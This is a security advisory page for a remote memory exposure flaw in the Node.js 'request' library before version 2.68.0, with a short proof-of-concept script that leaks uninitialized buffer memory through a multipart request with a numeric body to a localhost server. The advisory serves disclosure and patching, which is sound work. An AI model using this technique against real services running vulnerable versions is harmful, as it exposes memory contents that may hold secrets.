Lucene search

K
osvGoogleOSV:GHSA-7XFP-9C55-5VQJ
HistoryNov 09, 2018 - 5:44 p.m.

Remote Memory Exposure in request

2018-11-0917:44:01
Google
osv.dev
69

0.002 Low

EPSS

Percentile

55.9%

Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.

Proof of Concept

var request = require('request');
var http = require('http');

var serveFunction = function (req, res){
	req.on('data', function (data) {
            console.log(data)
        });
	res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);

request({
	method: "POST",
	uri: 'http://localhost:8000',
	multipart: [{body:500}]
},function(err,res,body){});

Recommendation

Update to version 2.68.0 or later

CPENameOperatorVersion
requestlt2.68.0
requestge2.49.0
requestge2.2.6

0.002 Low

EPSS

Percentile

55.9%